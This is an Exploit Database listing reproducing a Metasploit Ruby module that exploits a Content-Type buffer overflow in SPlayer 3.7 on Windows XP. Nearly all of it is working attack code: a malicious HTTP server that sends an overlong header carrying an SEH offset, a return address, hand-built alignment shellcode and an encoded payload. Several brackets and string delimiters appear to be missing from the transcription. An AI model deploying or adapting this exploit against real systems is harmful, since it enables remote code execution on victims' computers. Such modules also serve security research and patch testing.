SPlayer 3.7 – Content-Type Buffer Overflow (Metasploit)

Exploit Database
114 阅读

作者： Metasploit

日期： 2011-05-11
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/17268/

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# $Id: splayer_content_type.rb 12581 2011-05-11 00:18:11Z sinn3r $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})

super(update_info(info,

'Name' => "SPlayer 3.7 Content-Type Buffer Overflow",

'Description'=> %q{

This module exploits a vulnerability in SPlayer v3.7 or piror.When SPlayer

requests the URL of a media file (video or audio), it is possible to gain arbitrary

remote code execution due to a buffer overflow caused by an exceeding length of data

as the 'Content-Type' parameter.

'License'=> MSF_LICENSE,

'Version'=> "$Revision: 12581 $",

'Author' =>

[

'xsploitedsec <xsploitedsecurity[at]gmail.com>',#Initial discovery, PoC

'sinn3r', #Metasploit

'References' =>

[

['URL', 'http://www.exploit-db.com/exploits/17243/'],

'Payload'=>

{

'BadChars'=> "\x00\x0a\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f",

'StackAdjustment' => -3500,

'EncoderType' => Msf::Encoder::Type::AlphanumMixed,

'BufferRegister'=> 'ECX',

'DefaultOptions'=>

{

'ExitFunction' => "seh",

'InitialAutoRunScript' => 'migrate -f',

'Platform' => 'win',

'Targets'=>

[

'Windows XP SP2/XP3',

{

'Offset' => 2073,#Offset to SEH

'Ret'=> 0x7325,#Unicode P/P/R (splayer.exe)

'Max'=> 30000, #Max buffer size

}

'Privileged' => false,

'DisclosureDate' => "May 4 2011",

'DefaultTarget'=> 0))

end

def get_unicode_payload(p)

encoder = framework.encoders.create("x86/unicode_mixed")

encoder.datastore.import_options_from_hash( {'BufferRegister'=>'EAX'} )

unicode_payload = encoder.encode(p, nil, nil, platform)

return unicode_payload

end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']

if agent !~ /Media Player Classic/

send_not_found(cli)

print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent")

return

end

nop = "\x73"

#MOV EAX,EDI; XOR AL,C3; INC EAX; XOR AL,79; PUSH EAX; POP ECX; JMP SHORT 0x40

alignment = "\x8b\xc7\x34\xc3\x40\x34\x79\x50\x59\xeb\x40"

padding = nop*6

p = get_unicode_payload(alignment + padding + payload.encoded)

sploit = rand_text_alpha(2073)

sploit << "\x61\x73"

sploit << "\x25\x73"

sploit << nop

sploit << "\x55"

sploit << nop

sploit << "\x58"

sploit << nop

sploit << "\x05\x19\x11"

sploit << nop

sploit << "\x2d\x11\x11"

sploit << nop

sploit << "\x50"

sploit << nop

sploit << "\x50"

sploit << nop

sploit << "\x5f"

sploit << nop

sploit << "\xc3"

sploit << rand_text_alpha(1000)

sploit << p

sploit << rand_text_alpha(target['Max']-sploit.length)

print_status("Sending malicious content-type to #{cli.peerhost}:#{cli.peerport}...")

send_response(cli, '', {'Content-Type'=>sploit})

end